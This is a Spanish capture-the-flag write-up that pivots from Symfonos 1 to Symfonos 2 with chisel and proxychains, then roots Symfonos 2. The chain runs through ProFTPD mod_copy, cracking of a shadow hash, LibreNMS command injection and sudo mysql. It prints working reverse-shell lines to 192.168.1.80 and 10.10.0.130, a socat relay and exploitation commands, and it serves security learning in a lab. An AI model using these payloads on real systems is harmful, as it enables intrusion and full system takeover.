for i in $(seq 1 254); do timeout 0.1 ping -c 1 10.10.0.$i &>/dev/null && echo "[+] El host 10.10.0.$i - ACTIVO"; done

el bucle de ping sweep sobre 10.10.0.0/24 devuelve solo dos hosts activos, el .128 y el .130

[+] El host 10.10.0.128 - ACTIVO
[+] El host 10.10.0.130 - ACTIVO

El .130 es la propia Symfonos 1. El objetivo nuevo es 10.10.0.128.

Vía 1: pivoting con Metasploit

Antes del chisel merece la pena ver el camino de Metasploit, porque cada módulo hace explícito un paso que luego el túnel SOCKS resuelve de golpe. Se empieza por un multi/handler que reciba la shell:

use exploit/multi/handler
setg LHOST 192.168.1.80
setg LPORT 1234
run

el multi handler de metasploit con LHOST 192.168.1.80 y LPORT 1234 arranca el reverse TCP handler

LHOST => 192.168.1.80
LPORT => 1234
[*] Started reverse TCP handler on 192.168.1.80:1234

Desde la shell que ya teníamos en la víctima se lanza la conexión contra ese puerto y, una vez dentro, se manda a segundo plano con Ctrl+Z:

bash -c "bash -i >& /dev/tcp/192.168.1.80/1234 0>&1"

el prompt de helios en symfonos con el bash -c de la reverse shell hacia 192.168.1.80 puerto 1234 escrito

el handler recibe la sesion 1, se manda a segundo plano con Ctrl+Z y sessions la lista como shell sparc/bsd

[*] Command shell session 1 opened (192.168.1.80:1234 -> 192.168.1.151:55268)
Shell Banner:
_]0;helios@symfonos: /var/www/html/h3l105/wp-content/plugins/mail-masta/inc/campaign$

^Z
Background session 1? [y/N]  y
msf6 > sessions

Active sessions
  Id  Name  Type            Information                              Connection
  1         shell sparc/bsd Shell Banner: _]0;helios@symfonos: ...   192.168.1.80:1234 -> 192.168.1.151:55268

Una shell de bash normal no sirve para enrutar tráfico. El módulo shell_to_meterpreter la convierte en una sesión Meterpreter, que sí sabe hacerlo:

use post/multi/manage/shell_to_meterpreter
set session 1
run
sessions

shell_to_meterpreter sube la sesion 1 a meterpreter y sessions lista ahora las dos, la shell y la meterpreter x86/linux

[*] Upgrading session ID: 1
[*] Started reverse TCP handler on 192.168.1.80:1234
[*] Sending stage (1017804 bytes) to 192.168.1.151
[*] Meterpreter session 2 opened (192.168.1.80:1234 -> 192.168.1.151:55270)
[*] Command stager progress: 100.00% (773/773 bytes)

Active sessions
  Id  Name  Type                   Information             Connection
  1         shell sparc/bsd        Shell Banner: ...       192.168.1.80:1234 -> 192.168.1.151:55268
  2         meterpreter x86/linux  helios @ 192.168.1.151  192.168.1.80:1234 -> 192.168.1.151:55270

Con la Meterpreter, autoroute añade las redes de la víctima a la tabla de enrutamiento interna de Metasploit, de forma que cualquier módulo pueda alcanzarlas:

use multi/manage/autoroute
set session 2
run
route

autoroute anade las subredes 10.10.0.0/24 y 192.168.1.0/24 a la tabla de rutas de metasploit apuntando a la sesion 2

[*] Running module against 192.168.1.151
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.10.0.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 192.168.1.0/255.255.255.0 from host's routing table.

IPv4 Active Routing Table
   Subnet        Netmask         Gateway
   10.10.0.0     255.255.255.0   Session 2
   192.168.1.0   255.255.255.0   Session 2

Ojo al detalle: autoroute no lee lo que le decimos, lee la tabla de rutas de la propia víctima y añade las dos redes que encuentra. Con la ruta puesta, el escaneo de puertos ya funciona contra el host inalcanzable:

use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.0.128
run

el portscan de metasploit contra 10.10.0.128 a traves de la ruta encuentra abiertos el 21, 22, 80, 139 y 445

[+] 10.10.0.128:  - 10.10.0.128:21 - TCP OPEN
[+] 10.10.0.128:  - 10.10.0.128:22 - TCP OPEN
[+] 10.10.0.128:  - 10.10.0.128:80 - TCP OPEN
[+] 10.10.0.128:  - 10.10.0.128:139 - TCP OPEN
[+] 10.10.0.128:  - 10.10.0.128:445 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)

Esa ruta solo existe dentro de Metasploit: un nmap normal seguiría sin ver nada. Para que el resto de herramientas (y el navegador) lleguen, hay que sacar cada puerto a un puerto local con portfwd:

sessions 2
portfwd add -l 8080 -p 80 -r 10.10.0.128
portfwd add -l 2222 -p 22 -r 10.10.0.128
portfwd add -l 2121 -p 21 -r 10.10.0.128
portfwd add -l 139 -p 139 -r 10.10.0.128
portfwd add -l 445 -p 445 -r 10.10.0.128
bg

portfwd crea cinco relays TCP locales, del 8080 al 80 remoto, del 2222 al 22, del 2121 al 21 y los 139 y 445 tal cual

[*] Forward TCP relay created: (local) :8080 -> (remote) 10.10.0.128:80
[*] Forward TCP relay created: (local) :2222 -> (remote) 10.10.0.128:22
[*] Forward TCP relay created: (local) :2121 -> (remote) 10.10.0.128:21
[*] Forward TCP relay created: (local) :139  -> (remote) 10.10.0.128:139
[*] Forward TCP relay created: (local) :445  -> (remote) 10.10.0.128:445
[*] Backgrounding session 2 ...

Y funciona: http://localhost:8080 sirve ya la web de la máquina inalcanzable, otro cuadro clásico.

el navegador en localhost:8080 muestra un fresco clasico servido por la maquina 10.10.0.128 a traves del portfwd

El problema de este método es la estabilidad: los relays se caen tras un rato o en cuanto se lanza una enumeración web con muchas peticiones. Y además hay que declarar los puertos uno a uno, lo que obliga a escanear antes. Por eso conviene el segundo camino.

Vía 2: chisel + proxychains

Montamos un reverse SOCKS con chisel (repo): servidor en la máquina atacante, cliente en Symfonos 1. Con eso, proxychains enruta cualquier herramienta hacia la red interna, sin declarar puertos.

Primero se prepara el binario en el atacante y se comparte por HTTP:

wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
gunzip chisel_1.7.7_linux_amd64.gz
mv chisel_1.7.7_linux_amd64 chisel
chmod +x chisel
python3 -m http.server 80
# en la victima
wget http://192.168.1.80/chisel
chmod +x chisel
./chisel

a la derecha se descarga y descomprime chisel 1.7.7 y se sirve por HTTP; a la izquierda la victima lo baja a /dev/shm y al ejecutarlo imprime su ayuda con la version 1.7.7

-rw-r--r-- 1 root root 3234355 Jan 31  2022 chisel_1.7.7_linux_amd64.gz
-rw-r--r-- 1 root root 8077312 Jan 31  2022 chisel_1.7.7_linux_amd64
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.1.151 - - [10/Feb/2025 14:55:24] "GET /chisel HTTP/1.1" 200 -

helios@symfonos:/dev/shm$ wget http://192.168.1.80/chisel
2025-02-10 07:55:24 (75.6 MB/s) - 'chisel' saved [8077312/8077312]
helios@symfonos:/dev/shm$ ./chisel
  Usage: chisel [command] [--help]
  Version: 1.7.7 (go1.17.6)
  Commands:
    server - runs chisel in server mode
    client - runs chisel in client mode

El binario se deja en /dev/shm, que es memoria compartida: escribible por cualquiera y sin dejar rastro en disco.

Con chisel en ambos lados, la primera forma de usarlo es puerto a puerto, sin SOCKS:

# atacante
./chisel server --reverse -p 1234
# Symfonos 1 (pivote)
./chisel client 192.168.1.80:1234 R:80:10.10.0.128:80 R:22:10.10.0.128:22

el servidor chisel en modo reverse acepta la sesion del cliente y abre dos tuneles, R:80 hacia 10.10.0.128:80 y R:22 hacia 10.10.0.128:22

server: Reverse tunnelling enabled
server: Fingerprint pSNw44RyXE/8D2qpNjChIv89c9MaLWW+hR9BG0LMYks=
server: Listening on http://0.0.0.0:1234
server: session#1: tun: proxy#R:80=>10.10.0.128:80: Listening
server: session#1: tun: proxy#R:22=>10.10.0.128:22: Listening

client: Connecting to ws://192.168.1.80:1234
client: Connected (Latency 779.748us)

Funciona, pero arrastra el mismo problema que el portfwd de Metasploit: hay que conocer los puertos de antemano y declararlos uno a uno. La forma buena es levantar un proxy SOCKS, que reenvía todo sin enumerar nada. Primero se declara en la configuración de proxychains, como última línea de la sección [ProxyList]:

sudo nano /etc/proxychains4.conf

el proxychains4.conf abierto en nano con la linea socks5 127.0.0.1 1080 anadida al final de ProxyList

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4         127.0.0.1 9050
socks5 127.0.0.1 1080

Y el cliente se lanza igual que antes pero con R:socks en vez de una lista de puertos:

# atacante
./chisel server --reverse -p 1234
# Symfonos 1 (pivote)
./chisel client 192.168.1.80:1234 R:socks

el servidor chisel abre un unico tunel, proxy R:127.0.0.1:1080 hacia socks, y el cliente conecta con 1.1 ms de latencia

server: Reverse tunnelling enabled
server: Fingerprint oFpvoNTsTTFYlq49h2lJ8sXaYGxw3FCyGt+v8inHkw4=
server: Listening on http://0.0.0.0:1234
server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

client: Connecting to ws://192.168.1.80:1234
client: Connected (Latency 1.115418ms)

Un solo túnel, R:127.0.0.1:1080=>socks, y a través de él pasa cualquier puerto de la red interna sin declararlo.

El navegador no entiende de proxychains, así que para verlo con Firefox hay que darle el proxy con FoxyProxy: tipo SOCKS5, 127.0.0.1 y puerto 1080, con el Proxy DNS activado para que también los nombres se resuelvan del otro lado.

la configuracion de FoxyProxy con un perfil SYMFONOS 2 de tipo SOCKS5 apuntando a 127.0.0.1 puerto 1080 con Proxy DNS activado

Title: SYMFONOS 2
Type: SOCKS5
Hostname: 127.0.0.1
Port: 1080
Proxy DNS: on

Con ese perfil seleccionado, el navegador llega a la IP interna directamente, sin ningún localhost: por medio:

el navegador abre http://10.10.0.128 con el perfil SYMFONOS 2 activo en FoxyProxy y carga la web de la maquina interna

Reconocimiento de Symfonos 2

Con el túnel arriba, escaneamos 10.10.0.128 por el proxy. A través de SOCKS solo pasan conexiones TCP completas, así que el -sT (connect scan) y el -Pn no son opcionales: un -sS fabrica paquetes en crudo, que el proxy no sabe reenviar.

proxychains nmap -Pn -sT --top-ports 1500 -T5 -vvv -n -oG scan 10.10.0.128 2>/dev/null

el nmap por proxychains descubre cinco puertos abiertos en 10.10.0.128: 21, 22, 80, 139 y 445

Not shown: 1495 closed tcp ports (conn-refused)
PORT    STATE SERVICE      REASON
21/tcp  open  ftp          syn-ack
22/tcp  open  ssh          syn-ack
80/tcp  open  http         syn-ack
139/tcp open  netbios-ssn  syn-ack
445/tcp open  microsoft-ds syn-ack

Cinco puertos, casi el mismo perfil que Symfonos 1 pero con un FTP en lugar del SMTP. El escaneo de versiones, también por el proxy:

proxychains nmap -sT -Pn -sCV -n -p21,22,80,139,445 -oN targeted 10.10.0.128 2>/dev/null

el escaneo de versiones por proxychains identifica ProFTPD 1.3.5, OpenSSH 7.4p1, WebFS httpd 1.21 y Samba 4.5.16, con el hostname symfonos2

PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         ProFTPD 1.3.5
22/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp  open  http        WebFS httpd 1.21
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: webfs/1.21
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
Service Info: Host: SYMFONOS2; OSs: Unix, Linux

Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.5.16-Debian)
|   Computer name: symfonos2
|_  FQDN: symfonos2

Dos versiones piden atención. El OpenSSH 7.4p1 es el mismo de antes, viejo. Y sobre todo el ProFTPD 1.3.5, que arrastra el módulo mod_copy. El WebFS httpd 1.21 del 80 no es Apache sino un servidor de ficheros estáticos mínimo, lo que ya adelanta que por ahí no habrá aplicación que atacar.

whatweb por el proxy no lo desmiente, aunque reporta el 127.0.0.1 local por venir del túnel:

proxychains whatweb http://127.0.0.1 2>/dev/null

whatweb a traves del proxy devuelve 200 OK con Apache 2.4.25 sobre Debian y la IP 127.0.0.1 del tunel

http://127.0.0.1 [200 OK] Apache[2.4.25], Country[RESERVED][ZZ],
HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[127.0.0.1]

Wappalyzer, ya en el navegador por el túnel SOCKS, saca un único dato que el nmap no daba: PHP.

otro cuadro clasico a pantalla completa y Wappalyzer detectando unicamente PHP como lenguaje

Programming languages: PHP

Y la portada es, otra vez, un cuadro a pantalla completa. El código fuente son catorce líneas, aún más escuetas que las de Symfonos 1:

el view-source de la portada de symfonos2: catorce lineas con un style para que la imagen cubra la ventana y un img src igual a image.jpg

<html>
<style>
html,body{ margin:0; height:100%;}
img{ display:block; width:100%; height:100%; object-fit: cover;}
</style>
<body>
<img src="image.jpg">
</body>
</html>

El descubrimiento de rutas confirma el diagnóstico: nada más que el manual de Apache y el server-status.

proxychains dirsearch -u http://localhost --exclude-status=403,404 2>/dev/null

dirsearch por el proxy solo encuentra /manual y /server-status

[17:39:11] 301 -   307B - /manual  ->  http://localhost/manual/
[17:39:11] 200 -   201B - /manual/index.html
[17:39:21] 200 -     2KB - /server-status
[17:39:21] 200 -     2KB - /server-status/
Task Completed

La web no es el camino. Otra vez, toca el SMB.

Symfonos 2: mod_copy, LibreNMS y sudo mysql

SMB: fuga de rutas en log.txt

El SMB expone un recurso anonymous, esta vez sin el helios del anterior, y adentro hay un directorio backups:

proxychains smbclient -N -L 10.10.0.128 2>/dev/null
proxychains smbclient \\\\10.10.0.128\\anonymous 2>/dev/null
ls
cd backups
ls
get log.txt
exit

smbclient por el proxy lista print$, anonymous e IPC$, entra en anonymous sin contrasena y descarga backups/log.txt de 11394 bytes

        Sharename       Type      Comment
        print$          Disk      Printer Drivers
        anonymous       Disk
        IPC$            IPC       IPC Service (Samba 4.5.16-Debian)

Password for [WORKGROUP\root]:
smb: \> ls
  backups             D        0  Thu Jul 18 16:25:17 2019
smb: \> cd backups\
smb: \backups\> ls
  log.txt             N    11394  Thu Jul 18 16:25:16 2019
smb: \backups\> get log.txt

El Password for [WORKGROUP\root]: se contesta con un Enter en blanco: el recurso admite sesión anónima. Dentro, un log.txt de 11 KB documenta dos rutas de oro:

log.txt mostrando que /etc/shadow se copió a /var/backups/shadow.bak y la configuración de Samba

El mismo fichero, más abajo, incluye el smb.conf entero, y ahí está la segunda pieza: a qué directorio del disco corresponde el recurso anonymous.

batcat log.txt -l bash

el log.txt contiene el smb.conf y en el se lee la seccion anonymous con path igual a /home/aeolus/share, browseable y guest ok

[print$]
   comment = Printer Drivers
   path = /var/lib/samba/printers
   browseable = yes
   read only = yes
   guest ok = no

[anonymous]
   path = /home/aeolus/share
   browseable = yes
   read only = yes
   guest ok = yes

Ahora tenemos origen (/var/backups/shadow.bak) y destino (/home/aeolus/share, que es el recurso anonymous). Justo lo que necesita mod_copy. De paso, el path filtra un usuario nuevo: aeolus.

ProFTPD mod_copy: copiar shadow.bak al recurso

Con la versión exacta del FTP, searchsploit la busca:

searchsploit ProFTPD 1.3.5
searchsploit -x linux/remote/36742.txt

searchsploit devuelve cuatro entradas para ProFTPd 1.3.5, tres de mod_copy Command Execution y una File Copy resaltada

ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)  | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution        | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)    | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                  | linux/remote/36742.txt

Hay cuatro entradas, tres de ejecución de comandos y una de File Copy. La última es la que encaja aquí, y su .txt explica el fallo en dos frases:

la ficha 36742.txt explica que mod_copy permite usar SITE CPFR y SITE CPTO desde clientes no autenticados, y muestra una sesion de ejemplo

Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:

Trying 80.150.216.115 ...
Connected to 80.150.216.115.
220 ProFTPD 1.3.5rc3 Server (Debian)
site help

Ahí está la clave, subrayada por el propio autor: *unauthenticated clients*. Los comandos SITE CPFR/SITE CPTO de mod_copy copian ficheros dentro del servidor sin autenticación. No sacan nada a nuestra máquina, pero mueven ficheros de una ruta a otra dentro de la víctima, y eso es exactamente lo que hace falta: llevar el shadow.bak al directorio compartido.

Sesión FTP por proxychains: site cpfr /var/backups/shadow.bak seguido de site cpto /home/aeolus/share/shadow.bak con respuesta 250 Copy successful

proxychains ftp 10.10.0.128
site cpfr /var/backups/shadow.bak
site cpto /home/aeolus/share/shadow.bak

Y lo leemos desde el recurso SMB, donde ya aparece junto al backups de antes:

proxychains smbclient -U '' \\\\10.10.0.128\\anonymous 2>/dev/null
ls
get shadow.bak
exit
cat shadow.bak

el share anonymous ahora lista shadow.bak de 1173 bytes junto a backups, se descarga y el cat muestra el hash de root y el resto de cuentas del sistema

smb: \> ls
  backups             D        0  Thu Jul 18 16:25:17 2019
  shadow.bak          N     1173  Mon Feb 10 19:01:17 2025
smb: \> get shadow.bak

$ cat shadow.bak
root:$6$VTftENaZ$ggY84BSFETwhissv0N6mt2VaQN9k6/HzwwmTtVkDtTbCbqofFO8MVW.IcOKIzuI07m36uy9.565qelr/beHer.:18095:0:99999:7:::
daemon:*:18095:0:99999:7:::
bin:*:18095:0:99999:7:::
www-data:*:18095:0:99999:7:::

La copia ha funcionado: el fichero está ahí, con su fecha de hoy frente al backups de 2019. La mayoría de las cuentas del sistema tienen * en vez de hash (no pueden iniciar sesión), así que un grep '\$' se queda solo con las que sí tienen una contraseña:

cat shadow.bak | grep '\$' | cut -d ':' -f 1-2 > hashes.txt

el grep filtra las tres lineas con hash, root, aeolus y cronus, y el cut deja usuario y hash separados por dos puntos

root:$6$VTftENaZ$ggY84BSFETwhissv0N6mt2VaQN9k6/HzwwmTtVkDtTbCbqofFO8MVW.IcOKIzuI07m36uy9.565qelr/beHer.
aeolus:$6$dgjUjE.Y$G.dJZCM8.zKmJc9t4iiK9d723/bQ5kE1ux7ucBoAgOsTbaKmp.0iCljaobCntN3nCxsk4DLMy0qTn8ODPlmLG.
cronus:$6$wOmUfiZO$WajhRWpZyuHbjAbtPDQnR3oVQeEKtZtYYElWomv9xZLOhz7ALkHUT2Wp6cFFg1uLCq49SYel5goXroJ0SxU3D/

Tres usuarios con contraseña: root, aeolus (el del smb.conf) y uno nuevo, cronus.

Crackear el hash sha512crypt

Antes de lanzar john conviene confirmar el algoritmo, porque un --format equivocado no rompe nada. El prefijo $6$ lo delata, y un identificador de hashes lo confirma:

un identificador de hashes reconoce el prefijo $6$ como sha512crypt, SHA512 de Unix

Possible identifications:
$6$VTftENaZ$ggY84BSFETwhissv0N6mt2VaQN9k6/HzwwmTtVkDtTbCbqofFO8MVW.IcOKIzuI07m36uy9.565qelr/beHer.
  - Possible algorithms: sha512crypt $6$, SHA512 (Unix)

Con el formato confirmado, john rompe uno de los tres:

John crackeando el hash sha512crypt: aeolus obtiene la contraseña sergioteamo

john --format=sha512crypt --wordlist=/home/krmena/rockyoudir/rockyou.txt --fork=5 hashes.txt
# sergioteamo   (aeolus)

Solo cae el de aeolus. Los de root y cronus aguantan el diccionario, lo que fija el camino: hay que entrar como aeolus y escalar desde dentro.

SSH como aeolus

aeolus:sergioteamo es válido por SSH (siempre a través del proxy):

proxychains ssh aeolus@10.10.0.128
id

el ssh por proxychains entra como aeolus en symfonos2, un Debian con kernel 4.9.0-9-amd64, y el id devuelve uid 1000

aeolus@10.10.0.128's password:
Linux symfonos2 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u3 (2019-06-16) x86_64
Last login: Mon Feb 10 10:52:03 2025 from 10.10.0.130
aeolus@symfonos2:~$ id
uid=1000(aeolus) gid=1000(aeolus) groups=1000(aeolus),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

El Last login ... from 10.10.0.130 es un detalle bonito: la última conexión registrada viene de Symfonos 1, que es justo por donde estamos entrando.

Lo primero, situarse:

echo -e "\nSO: "$(uname) && echo "Kernel Version: "$(uname -r) && echo "User: "$(whoami) && echo "Machine Name: "$(hostname) && echo "IP(s): "$(hostname -I) && echo -e "Information User: "$(id)"\n"

el one-liner de reconocimiento imprime SO Linux, kernel 4.9.0-9-amd64, usuario aeolus, hostname symfonos2 e IP 10.10.0.128

SO: Linux
Kernel Version: 4.9.0-9-amd64
User: aeolus
Machine Name: symfonos2
IP(s): 10.10.0.128
Information User: uid=1000(aeolus) gid=1000(aeolus) groups=1000(aeolus),...

Los binarios con SUID, filtrando los normales del sistema para que no ensucien:

find / -perm -4000 2>/dev/null | grep -vE "mount|ping|chfn|chsh|gpasswd|newgrp|passwd|sudo|su"
/usr/sbin/exim4 --version

el find deja solo cuatro SUID y destaca /usr/sbin/exim4, cuya version resulta ser Exim 4.89 de 2019

/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/exim4

$ /usr/sbin/exim4 --version
Exim version 4.89 #2 built 28-May-2019 20:13:55

El exim4 con SUID llama la atención (la 4.89 arrastra CVEs conocidos), pero antes conviene mirar qué escucha la máquina por dentro:

ss -tuln

ss -tuln muestra servicios en escucha solo en localhost, entre ellos el 3306 de MySQL y un 8080 resaltado

Netid State  Recv-Q Send-Q  Local Address:Port
tcp   LISTEN 0      80      127.0.0.1:3306
tcp   LISTEN 0      128     127.0.0.1:8080
tcp   LISTEN 0      50      *:139
tcp   LISTEN 0      32      *:21
tcp   LISTEN 0      128     *:22
tcp   LISTEN 0      20      127.0.0.1:25
tcp   LISTEN 0      64      :::80

Ahí está lo interesante: un 127.0.0.1:8080 que no salió en ningún escaneo porque solo escucha en loopback. Y un MySQL en el 3306, también local.

Un LibreNMS interno (port forwarding + reutilización)

El 8080 solo escucha en loopback, así que desde fuera no existe. Como ya tenemos SSH, lo acercamos con un local port forwarding: el túnel SOCKS nos lleva hasta la máquina y, encima de esa sesión, el -L saca su 127.0.0.1:8080 a un puerto local nuestro.

proxychains ssh -L 4321:127.0.0.1:8080 aeolus@10.10.0.128 2>/dev/null

el ssh por proxychains con -L 4321 hacia el 8080 local de la victima entra como aeolus

aeolus@10.10.0.128's password:
Linux symfonos2 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u3 (2019-06-16) x86_64
Last login: Mon Feb 10 12:52:00 2025 from 10.10.0.130
aeolus@symfonos2:~$

Son dos túneles encadenados: el SOCKS de chisel para llegar a 10.10.0.128, y dentro de él el -L del SSH para llegar al 127.0.0.1 de esa máquina. En localhost:4321 responde un LibreNMS:

el navegador en localhost:4321/login muestra el panel de acceso de LibreNMS, con el perfil SYMFONOS 2 activo en FoxyProxy

LibreNMS
  Username
  Password
  Remember Me
  Login
Unauthorised access or use shall render the user liable to criminal and/or civil prosecution.

Probamos la contraseña de aeolus en el panel:

el formulario de LibreNMS relleno con aeolus y sergioteamo

Username: aeolus
Password: sergioteamo

Panel de LibreNMS abierto con el mensaje "Welcome aeolus" tras reutilizar su contraseña

Welcome aeolus

El panel saluda con Welcome aeolus: la contraseña SSH de aeolus vale también aquí, credential reuse de manual.

RCE al añadir dispositivo

Con sesión válida, searchsploit busca el resto:

searchsploit LibreNMS
searchsploit -x php/webapps/47044.py

searchsploit devuelve cinco entradas de LibreNMS, con la addhost Remote Code Execution de la 1.46 resaltada

LibreNMS - addhost Command Injection (Metasploit)               | linux/remote/46970.rb
LibreNMS - Collectd Command Injection (Metasploit)              | linux/remote/47375.rb
LibreNMS 1.46 - 'addhost' Remote Code Execution                 | php/webapps/47044.py
LibreNMS 1.46 - 'Search' SQL Injection                          | multiple/webapps/48453.txt
LibreNMS 1.46 - MAC Accounting Graph Authenticated SQL Injection | multiple/webapps/49246.py

El del medio, el 47044.py, es el que interesa. No hace falta ejecutarlo: leyendo su código se ve exactamente qué campo del formulario es el vulnerable.

el codigo de 47044.py con la funcion create_new_device y el campo community igual a payload resaltado entre el resto de parametros del alta

def create_new_device(url):
    raw_request = {
        "hostname": hostname,
        "snmp": "on",
        "snmpver": "v2c",
        "port": "",
        "transport": "udp",
        "community": payload,
        "authlevel": "noAuthnoPriv",
        "force_add": "on",
        "Submit": ""
    }
    full_url = url + "/addhost/"
    request_body = urlencode(raw_request)

Ahí está: de todos los parámetros del alta, el único que recibe el payload es community, el de la community string de SNMP (inyección de comandos). Sabiendo eso, el exploit se puede reproducir a mano desde la propia interfaz.

El detalle de red: la máquina no alcanza a la atacante (están en segmentos distintos), así que la reverse shell apunta al pivote (Symfonos 1, 10.10.0.130), que la reenvía con socat. Primero el listener en la atacante:

nc -nlvp 4422

el listener con nc esperando en el puerto 4422 en la maquina atacante

listening on [any] 4422 ...

Y en el pivote, el socat que hace de puente. El fork permite más de una conexión y TCP-LISTEN/TCP juntos convierten a Symfonos 1 en un simple reenviador:

socat TCP-LISTEN:4422,fork TCP:192.168.1.80:4422

en la shell de helios sobre symfonos se lanza socat escuchando en 4422 y reenviando a 192.168.1.80 puerto 4422

helios@symfonos:/dev/shm$ socat TCP-LISTEN:4422,fork TCP:192.168.1.80:4422

Con el puente montado, el alta del dispositivo. El payload va en el campo Community, y hay que marcar Force add para que LibreNMS no descarte el host por no responder a ICMP ni a SNMP:

'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.0.130 4422 >/tmp/f) #

el formulario Add Device de LibreNMS con hostname test, el payload de la reverse shell en el campo Community y Force add marcado

Add Device
  Hostname: test
  SNMP: ON      SNMP Version: v2c      Port Association Mode: ifIndex
  Community: '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.0.130 4422 >/tmp/f) #
  [x] Force add - No ICMP or SNMP checks performed
  [ Add Device ]

Nótese que la reverse shell apunta a 10.10.0.130, la pata interna de Symfonos 1, no a nuestra IP: es el socat el que la saca de ahí.

Guardado el dispositivo, aparece en Devices > Server como un Generic Device llamado test:

el listado Devices de LibreNMS muestra el dispositivo test recien creado como Generic Device

Vendor  Device  Operating System  Uptime  Location
        test    Generic Device

El payload no se ejecuta al guardarlo, sino cuando LibreNMS lanza una consulta SNMP contra el dispositivo. Para forzarlo sin esperar al poller, el menú de la rueda dentada tiene un Capture:

la ficha del dispositivo test con el menu de la rueda dentada abierto y la opcion Capture resaltada

test
  Overview | Graphs | Logs | Alerts | Alert Stats | Performance | Notes
  Recent Events:  2025-02-10 13:35:53   Device type changed => server
  [gear] Web | SSH | Telnet | Edit | Capture

Dentro de Capture Debug Information, la pestaña SNMP y el botón Run disparan la consulta, y con ella la community string envenenada:

la pantalla Capture Debug Information con la pestana SNMP seleccionada y el boton Run resaltado

Capture Debug Information
  Discovery | Poller | SNMP | Alerts
  [ Run ]  [ Copy ]  [ Download ]
  Output

Y la shell llega a la atacante después de atravesar el socat:

el listener del 4422 recibe la conexion procedente de 192.168.1.151 y whoami devuelve cronus, del grupo librenms

listening on [any] 4422 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.151] 33724
/bin/sh: 0: can't access tty; job control turned off
$ whoami
cronus
$ id
uid=1001(cronus) gid=1001(cronus) groups=1001(cronus),999(librenms)

Somos cronus, el tercer usuario del shadow.bak, y del grupo librenms. Ojo a la IP de origen que reporta el nc: 192.168.1.151, o sea Symfonos 1. La víctima real nunca aparece, porque la conexión la reenvió el pivote.

sudo mysql: escalada a root

sudo -l

sudo -l como cronus muestra que puede ejecutar /usr/bin/mysql como root sin contrasena

Matching Defaults entries for cronus on symfonos2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cronus may run the following commands on symfonos2:
    (root) NOPASSWD: /usr/bin/mysql

mysql ejecutable como root es un GTFOBins de libro, y su ficha da la línea exacta:

la entrada Sudo de GTFOBins para mysql explica que no descarta privilegios y da el comando sudo mysql -e con la barra admiracion y /bin/sh

Sudo
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be
used to access the file system, escalate or maintain privileged access.

sudo mysql -e '\! /bin/sh'

El \! del cliente MySQL sirve para lanzar un comando del sistema sin salir de la sesión, y como el cliente ya corre como root, esa shell nace con uid=0.

sudo mysql -e '\! /bin/bash' abriendo una shell root y leyendo proof.txt: Congrats on rooting symfonos:2!

cronus@symfonos2:/opt/librenms/html$ sudo mysql -e '\! /bin/bash'
root@symfonos2:~# cat proof.txt

          Congrats on rooting symfonos:2!

El \! del cliente MySQL escapa a una shell que, al correr mysql como root, hereda uid=0: shell de root.

sudo mysql -e '\! /bin/bash'
# cat /root/proof.txt
# Congrats on rooting symfonos:2!

Symfonos 2 rooteada.

Cadena de ataque

[192.168.1.0/24]  Symfonos 1
  SMB sesión nula  ->  anonymous/attention.txt (diccionario de contraseñas)
    └─> spray helios:qwerty  ->  recurso helios  ->  /h3l105
            └─> WordPress + vhost symfonos.local  ->  plugin Mail Masta (LFI)
                    └─> LFI + SMTP (buzón /var/mail/helios)  ->  RCE como helios
                            └─> SUID /opt/statuscheck (curl relativo)  ->  PATH hijacking  ->  root
                                    └─> 2ª NIC 10.10.0.130 ── chisel R:socks + proxychains ──┐
                                                                                             ▼
[10.10.0.0/24]    Symfonos 2 (10.10.0.128)
  SMB anonymous/log.txt (rutas shadow.bak y share)
    └─> ProFTPD 1.3.5 mod_copy (cpfr/cpto)  ->  shadow.bak legible
            └─> john sha512crypt  ->  aeolus:sergioteamo  ->  SSH
                    └─> LibreNMS interno (port forward) + reuse
                            └─> RCE add-device (relay socat)  ->  cronus
                                    └─> sudo mysql (GTFOBins)  ->  root

Lecciones aprendidas

  • Una sesión nula de SMB es una fuga de perímetro. En Symfonos 1, un recurso anonymous legible entregó tanto la lista de contraseñas (el propio attention.txt que las prohíbe es el diccionario a probar) como el nombre de usuario que había que rociar.
  • Un LFI que incluye PHP es RCE en potencia. No hace falta un .log: cualquier fichero que el atacante pueda envenenar (aquí el buzón por SMTP) sirve de vehículo. Y un SUID que invoca binarios por nombre es un PATH hijacking: la defensa es siempre la ruta absoluta desde código privilegiado.
